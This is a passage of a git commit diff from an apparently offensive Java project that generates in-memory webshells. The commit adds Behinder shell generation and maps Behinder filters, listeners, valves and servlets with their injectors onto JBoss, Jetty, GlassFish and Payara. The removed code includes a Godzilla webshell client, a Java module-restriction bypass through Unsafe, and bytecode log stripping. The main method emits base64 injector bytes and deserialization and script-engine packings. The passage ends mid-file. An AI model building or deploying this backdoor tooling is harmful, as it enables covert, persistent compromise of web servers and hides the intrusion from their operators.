feat: support behinder shell generate

This commit is contained in:
ReaJason
2024-12-22 00:05:01 +08:00
parent 100b4e5d9b
commit 01fd2ecb80
142 changed files with 2661 additions and 289 deletions
@@ -1,15 +1,18 @@
package com.reajason.javaweb;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memshell.AbstractShell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.util.CommonUtil;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
/**
* @author ReaJason
@@ -19,8 +22,8 @@ public class GeneratorMain {
public static void main(String[] args) throws IOException {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Command)
.server(Server.JBossAS)
.shellTool(ShellTool.Behinder)
.shellType(Constants.FILTER)
.targetJreVersion(Opcodes.V1_6)
.debug(true)
@@ -30,14 +33,21 @@ public class GeneratorMain {
.key("key")
.headerName("User-Agent")
.headerValue("test123").build();
CommandConfig commandConfig = CommandConfig.builder().paramName("cmd").build();
CommandConfig commandConfig = CommandConfig.builder().paramName("listener").build();
BehinderConfig behinderConfig = BehinderConfig.builder()
.pass("test123")
.headerName("User-Agent")
.headerValue("test").build();
InjectorConfig injectorConfig = new InjectorConfig();
GenerateResult generateResult = generate(shellConfig, injectorConfig, commandConfig);
GenerateResult generateResult = generate(shellConfig, injectorConfig, behinderConfig);
if (generateResult != null) {
// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
System.out.println(Packer.INSTANCE.ScriptEngine.getPacker().pack(generateResult));
System.out.println(Packer.INSTANCE.Deserialize.getPacker().pack(generateResult));
}
}
@@ -1,56 +0,0 @@
package com.reajason.javaweb.buddy;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.dynamic.DynamicType;
import java.lang.reflect.Field;
import static net.bytebuddy.matcher.ElementMatchers.isTypeInitializer;
/**
* JDK9 引入的 module 系统,只有主动声明 exports 的才能被外部访问。当前用于打破 module 的限制,使我们能像低版本一样任意反射获取方法
*
* @author ReaJason
*/
public class ByPassJavaModuleInterceptor {
@Advice.OnMethodEnter
public static void enter(@Advice.Origin Class<?> clazz) {
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, clazz, offset, module);
} catch (Exception ignored) {
}
}
/**
* Reference1: <a href="https://stackoverflow.com/questions/62664427/can-i-create-a-bytebuddy-instrumented-type-with-a-private-static-final-methodhan">stackoverflow</a>
* Reference2: <a href="https://github.com/raphw/byte-buddy/issues/1153">issue</a>
* <br>
* 在静态代码块中执行 byPassJdkModule 代码
* 值得注意的一点,builder 是不可变类型,所以都是需要重新赋值,例如以下代码示例
* # code that not work
* builder = new Bytebuddy().redefine(class);
* builder.visit(something);
* builder.make();
* <br>
* # code that work
* <br>
* builder = new Bytebuddy().redefine(class);
* builder = builder.visit(something);
* builder.make();
*
* @param builder bytebuddy builder
* @return new builder with bypass
*/
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
return builder.visit(Advice.to(ByPassJavaModuleInterceptor.class)
.on(isTypeInitializer()));
}
}
@@ -1,66 +0,0 @@
package com.reajason.javaweb.buddy;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.method.MethodDescription;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.jar.asm.MethodVisitor;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.pool.TypePool;
import org.apache.commons.lang3.StringUtils;
import org.jetbrains.annotations.NotNull;
import static net.bytebuddy.jar.asm.Opcodes.INVOKEVIRTUAL;
import static net.bytebuddy.jar.asm.Opcodes.POP;
/**
* Debug 信息打印移除器
* 目前仅支持移除以下几种
* <br />
* 1. System.out.println() - printf 还不支持)
* 2. e.printStackTrace()
* 3. Logger.info (java.util)
*
* @author ReaJason
*/
public class LogRemoveMethodVisitor implements AsmVisitorWrapper.ForDeclaredMethods.MethodVisitorWrapper {
public static final LogRemoveMethodVisitor INSTANCE = new LogRemoveMethodVisitor();
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
return builder.visit(
new AsmVisitorWrapper.ForDeclaredMethods()
.method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE));
}
@NotNull
@Override
public MethodVisitor wrap(@NotNull TypeDescription instrumentedType,
@NotNull MethodDescription instrumentedMethod,
@NotNull MethodVisitor methodVisitor,
@NotNull Implementation.Context implementationContext,
@NotNull TypePool typePool,
int writerFlags,
int readerFlags) {
return new MethodVisitor(Opcodes.ASM9, methodVisitor) {
@Override
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
if ((opcode == INVOKEVIRTUAL && owner.equals("java/io/PrintStream") && name.equals("println"))
|| (opcode == INVOKEVIRTUAL && owner.endsWith("Exception") && name.equals("printStackTrace"))
|| (opcode == INVOKEVIRTUAL && owner.equals("java/util/logging/Logger") && (name.equals("info") || name.equals("warning")))
) {
String[] args = descriptor.substring(1, descriptor.indexOf(')')).split(";");
for (String arg : args) {
if (StringUtils.isNotBlank(arg)) {
super.visitInsn(POP);
}
}
super.visitInsn(POP);
} else {
super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
}
}
};
}
}
@@ -1,57 +0,0 @@
package com.reajason.javaweb.buddy;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.field.FieldDescription;
import net.bytebuddy.description.field.FieldList;
import net.bytebuddy.description.method.MethodList;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.commons.ClassRemapper;
import net.bytebuddy.jar.asm.commons.Remapper;
import net.bytebuddy.pool.TypePool;
import org.jetbrains.annotations.NotNull;
/**
* Servlet 包名替换,扫描包中所有 javax/servlet 将其替换成 jakarta/servlet。
*
* @author ReaJason
* @since 2024/11/23
*/
public class ServletRenameVisitorWrapper implements AsmVisitorWrapper {
public static ServletRenameVisitorWrapper INSTANCE = new ServletRenameVisitorWrapper();
@Override
public int mergeReader(int flags) {
return flags;
}
@Override
public int mergeWriter(int flags) {
return flags;
}
@NotNull
@Override
public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
@NotNull ClassVisitor classVisitor,
@NotNull Implementation.Context implementationContext,
@NotNull TypePool typePool,
@NotNull FieldList<FieldDescription.InDefinedShape> fields,
@NotNull MethodList<?> methods,
int writerFlags,
int readerFlags) {
return new ClassRemapper(
classVisitor,
new Remapper() {
@Override
public String map(String typeName) {
if (typeName.startsWith("javax/servlet/")) {
return typeName.replaceFirst("javax", "jakarta");
} else {
return typeName;
}
}
});
}
}
@@ -1,59 +0,0 @@
package com.reajason.javaweb.buddy;
import com.reajason.javaweb.config.Constants;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.field.FieldDescription;
import net.bytebuddy.description.field.FieldList;
import net.bytebuddy.description.method.MethodList;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.pool.TypePool;
import net.bytebuddy.utility.nullability.MaybeNull;
import org.jetbrains.annotations.NotNull;
/**
* 通过 classVisitor 将 classFileVersion 改为指定 JDK 版本,用于 JDK8 的环境能生成任意 JDK 版本的字节码,默认使用 JDK6
*
* @author ReaJason
*/
public class TargetJreVersionVisitorWrapper implements AsmVisitorWrapper {
public static final TargetJreVersionVisitorWrapper DEFAULT = new TargetJreVersionVisitorWrapper();
private final int targetJdkVersion;
public TargetJreVersionVisitorWrapper() {
targetJdkVersion = Constants.DEFAULT_VERSION;
}
public TargetJreVersionVisitorWrapper(int targetJdkVersion) {
this.targetJdkVersion = targetJdkVersion;
}
@Override
public int mergeWriter(int flags) {
return flags;
}
@Override
public int mergeReader(int flags) {
return flags;
}
@NotNull
@Override
public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
@NotNull ClassVisitor classVisitor, @NotNull Implementation.Context implementationContext,
@NotNull TypePool typePool, @NotNull FieldList<FieldDescription.InDefinedShape> fields,
@NotNull MethodList<?> methods, int writerFlags, int readerFlags) {
return new ClassVisitor(Opcodes.ASM9, classVisitor) {
@Override
public void visit(int version, int modifiers, String name, @MaybeNull String signature, @MaybeNull String superClassName, @MaybeNull String[] interfaceName) {
super.visit(targetJdkVersion, modifiers, name, signature, superClassName, interfaceName);
}
};
}
}
@@ -1,290 +0,0 @@
package com.reajason.javaweb.godzilla;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.GodzillaGenerator;
import lombok.Getter;
import lombok.Setter;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import okhttp3.*;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.tuple.Pair;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.util.*;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;
/**
* @author ReaJason
*/
@Getter
@Setter
public class GodzillaManager implements Closeable {
private static final List<String> CLASS_NAMES;
static {
InputStream classNamesStream = Objects.requireNonNull(GodzillaGenerator.class.getResourceAsStream("/godzillaShellClassNames.txt"));
CLASS_NAMES = IOUtils.readLines(classNamesStream, "UTF-8");
}
private final OkHttpClient client;
private String cookie = "";
private String entrypoint;
private String key;
private String pass;
private String md5;
private Request request;
private Map<String, String> headers = new HashMap<>();
public GodzillaManager() {
this.client = new OkHttpClient.Builder().build();
}
public static Pair<String, String> getKeyMd5(String key, String pass) {
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
return Pair.of(md5Key, md5);
}
public static GodzillaManagerBuilder builder() {
return new GodzillaManagerBuilder();
}
@SneakyThrows
public static byte[] generateGodzilla() {
Random random = new Random();
String className = CLASS_NAMES.get(random.nextInt(CLASS_NAMES.size()));
try (DynamicType.Unloaded<?> make = new ByteBuddy()
.redefine(Payload.class)
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
.name(className)
.make()) {
return make.getBytes();
}
}
/**
* AES 加解密
*
* @param bytes 加解密的字符串字节数组
* @param encoding 是否为加密,true 为加密,false 解密
* @return 返回加解密后的字节数组
*/
public static byte[] aes(String key, byte[] bytes, boolean encoding) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(encoding ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(bytes);
} catch (Exception e) {
return new byte[0];
}
}
private static boolean isValidResponse(String response, String md5) {
if (StringUtils.isEmpty(response)) {
return false;
}
if (response.length() < 32) {
return false;
}
return response.contains(md5.substring(0, 16)) && response.trim().contains(md5.substring(16));
}
@SneakyThrows
public static String getResultFromRes(String responseBody, String key, String md5) {
if (!isValidResponse(responseBody, md5)) {
return responseBody;
}
int lastIndex = responseBody.indexOf(md5.substring(16));
String result = responseBody.substring(16);
result = result.substring(0, lastIndex);
byte[] bytes = Base64.decodeBase64(result);
byte[] x = aes(key, bytes, false);
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
return IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8);
}
public static Map<String, String> restorePayload(String key, String payload) {
String p = payload;
try {
String urlDecoded = URLDecoder.decode(payload, "UTF-8");
if (StringUtils.isNoneBlank(urlDecoded)) {
p = urlDecoded;
}
} catch (UnsupportedEncodingException ignored) {
}
Map<String, String> map = new HashMap<>();
byte[] bytes = Base64.decodeBase64(p);
byte[] x = aes(key, bytes, false);
ByteArrayInputStream tStream = new ByteArrayInputStream(x);
ByteArrayOutputStream tp = new ByteArrayOutputStream();
byte[] lenB = new byte[4];
int read;
try {
GZIPInputStream inputStream = new GZIPInputStream(tStream);
while (true) {
byte t = (byte) inputStream.read();
if (t != -1) {
if (t == 2) {
String dataKey = tp.toString();
inputStream.read(lenB);
int len = bytesToInt(lenB);
byte[] data = new byte[len];
int readOneLen = 0;
do {
read = readOneLen + inputStream.read(data, readOneLen, data.length - readOneLen);
readOneLen = read;
} while (read < data.length);
map.put(dataKey, new String(data));
tp.reset();
} else {
tp.write(t);
}
} else {
tp.close();
tStream.close();
inputStream.close();
break;
}
}
} catch (Exception ignored) {
}
return map;
}
public static int bytesToInt(byte[] bytes) {
return (bytes[0] & 255) | ((bytes[1] & 255) << 8) | ((bytes[2] & 255) << 16) | ((bytes[3] & 255) << 24);
}
public static byte[] intToBytes(int value) {
return new byte[]{(byte) (value & 255), (byte) ((value >> 8) & 255), (byte) ((value >> 16) & 255), (byte) ((value >> 24) & 255)};
}
private Response post(byte[] bytes) throws IOException {
byte[] aes = aes(this.key, bytes, true);
String base64String = Base64.encodeBase64String(aes);
RequestBody requestBody = new FormBody.Builder()
.add(this.pass, base64String)
.build();
Request.Builder builder = new Request.Builder()
.url(this.entrypoint)
.post(requestBody)
.headers(Headers.of(this.headers));
if (StringUtils.isNotBlank(cookie)) {
builder.header("Cookie", cookie);
}
return client.newCall(builder.build()).execute();
}
public boolean start() {
byte[] bytes = generateGodzilla();
try (Response response = post(bytes)) {
String setCookie = response.header("Set-Cookie");
if (setCookie != null && setCookie.contains("JSESSIONID=")) {
cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";"));
}
if (response.isSuccessful()) {
return true;
}
System.out.println(response.body().string().trim());
} catch (IOException e) {
e.printStackTrace();
}
return false;
}
public boolean test() {
byte[] bytes = generateMethodCallBytes("test");
try (Response response = post(bytes)) {
if (response.isSuccessful()) {
ResponseBody body = response.body();
if (body != null) {
String resultFromRes = getResultFromRes(body.string(), this.key, this.md5);
System.out.println(resultFromRes);
return "ok".equals(resultFromRes);
}
}
return false;
} catch (IOException e) {
return false;
}
}
@Override
public void close() throws IOException {
byte[] bytes = generateMethodCallBytes("close");
try (Response response = post(bytes)) {
if (response.isSuccessful()) {
response.body();
}
} catch (IOException ignore) {
}
}
@SneakyThrows
private byte[] generateMethodCallBytes(String methodName) {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try (GZIPOutputStream gzipOutputStream = new GZIPOutputStream(byteArrayOutputStream);) {
byte[] value = methodName.getBytes();
gzipOutputStream.write("methodName".getBytes());
gzipOutputStream.write(2);
gzipOutputStream.write(intToBytes(value.length));
gzipOutputStream.write(value);
}
return byteArrayOutputStream.toByteArray();
}
public static class GodzillaManagerBuilder {
private final Map<String, String> headers = new HashMap<>();
private String entrypoint;
private String key;
private String pass;
public GodzillaManagerBuilder entrypoint(String entrypoint) {
this.entrypoint = entrypoint;
return this;
}
public GodzillaManagerBuilder key(String key) {
this.key = key;
return this;
}
public GodzillaManagerBuilder pass(String pass) {
this.pass = pass;
return this;
}
public GodzillaManagerBuilder header(String key, String value) {
this.headers.put(key, value);
return this;
}
public GodzillaManager build() {
GodzillaManager manager = new GodzillaManager();
manager.setEntrypoint(entrypoint);
manager.setPass(pass);
Pair<String, String> keyMd5 = getKeyMd5(key, pass);
manager.setKey(keyMd5.getLeft());
manager.setMd5(keyMd5.getRight());
Map<String, String> headers = new HashMap<>(16);
headers.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0");
headers.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
headers.putAll(this.headers);
manager.setHeaders(headers);
return manager;
}
}
}
File diff suppressed because it is too large Load Diff
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memshell.config.*;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Collections;
@@ -31,6 +31,7 @@ public abstract class AbstractShell {
return switch (tool) {
case Godzilla -> getGodzillaShellMap().keySet().stream().sorted().toList();
case Command -> getCommandShellMap().keySet().stream().sorted().toList();
case Behinder -> getBehinderShellMap().keySet().stream().sorted().toList();
default -> Collections.emptyList();
};
}
@@ -82,28 +83,23 @@ public abstract class AbstractShell {
.build();
}
/**
* 获取 Godzilla 注入生成类 Map
*
* @return shellType -> shellClass,injectorClass
*/
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Collections.emptyMap();
}
/**
* 获取 Command 注入生成类 Map
*
* @return shellType -> shellClass,injectorClass
*/
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Collections.emptyMap();
}
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Collections.emptyMap();
}
private Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
Map<String, Pair<Class<?>, Class<?>>> shellMap = switch (shellTool) {
case Godzilla -> getGodzillaShellMap();
case Command -> getCommandShellMap();
case Behinder -> getBehinderShellMap();
default -> Collections.emptyMap();
};
return shellMap.get(shellType);
@@ -113,6 +109,7 @@ public abstract class AbstractShell {
return switch (shellConfig.getShellTool()) {
case Godzilla -> new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
case Behinder -> new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
};
}
@@ -0,0 +1,64 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.BehinderConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.matcher.ElementMatchers;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class BehinderGenerator {
private final ShellConfig shellConfig;
private final BehinderConfig behinderConfig;
public BehinderGenerator(ShellConfig shellConfig, BehinderConfig behinderConfig) {
this.shellConfig = shellConfig;
this.behinderConfig = behinderConfig;
}
public DynamicType.Builder<?> getBuilder() {
if (behinderConfig.getShellClass() == null) {
throw new IllegalArgumentException("godzillaConfig.getClazz() == null");
}
if (StringUtils.isBlank(behinderConfig.getPass())) {
throw new IllegalArgumentException("behinderConfig.getPass().isBlank()");
}
String md5Key = DigestUtils.md5Hex(behinderConfig.getPass()).substring(0, 16);
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(behinderConfig.getShellClass())
.name(behinderConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.constructor(ElementMatchers.any())
.intercept(SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("pass").setsValue(md5Key))
.andThen(FieldAccessor.ofField("headerName").setsValue(behinderConfig.getHeaderName()))
.andThen(FieldAccessor.ofField("headerValue").setsValue(behinderConfig.getHeaderValue())));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
}
}
@@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.CommandConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
@@ -1,12 +1,15 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener;
import com.reajason.javaweb.memshell.glassfish.command.CommandListener;
import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
@@ -52,4 +55,16 @@ public class GlassFishShell extends AbstractShell {
JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class),
JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class)
);
}
}
@@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.GodzillaConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
@@ -4,9 +4,9 @@ import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.InjectorConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.util.CommonUtil;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
@@ -1,11 +1,13 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.jboss.behinder.BehinderListener;
import com.reajason.javaweb.memshell.jboss.command.CommandListener;
import com.reajason.javaweb.memshell.jboss.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector;
import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import org.apache.commons.lang3.tuple.Pair;
@@ -39,4 +41,12 @@ public class JbossShell extends AbstractShell {
Constants.LISTENER, Pair.of(GodzillaListener.class, JbossListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.FILTER, Pair.of(BehinderFilter.class, JbossFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, JbossListenerInjector.class)
);
}
}
@@ -1,11 +1,14 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.jetty.behinder.BehinderListener;
import com.reajason.javaweb.memshell.jetty.command.CommandListener;
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
@@ -15,7 +18,7 @@ import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
import static com.reajason.javaweb.config.Constants.*;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
@@ -51,4 +54,16 @@ public class JettyShell extends AbstractShell {
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class),
JAKARTA_SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class),
FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class),
JAKARTA_FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class),
LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class),
JAKARTA_LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class)
);
}
}
@@ -1,12 +1,15 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.payara.behinder.BehinderListener;
import com.reajason.javaweb.memshell.payara.command.CommandListener;
import com.reajason.javaweb.memshell.payara.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.payara.injector.PayaraFilterInjector;
import com.reajason.javaweb.memshell.payara.injector.PayaraListenerInjector;
import com.reajason.javaweb.memshell.payara.injector.PayaraValveInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
@@ -52,4 +55,16 @@ public class PayaraShell extends AbstractShell {
JAKARTA_VALVE, Pair.of(GodzillaValve.class, PayaraValveInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.FILTER, Pair.of(BehinderFilter.class, PayaraFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, PayaraFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, PayaraListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, PayaraListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, PayaraValveInjector.class),
JAKARTA_VALVE, Pair.of(BehinderValve.class, PayaraValveInjector.class)
);
}
}
@@ -1,12 +1,15 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.resin.behinder.BehinderListener;
import com.reajason.javaweb.memshell.resin.command.CommandListener;
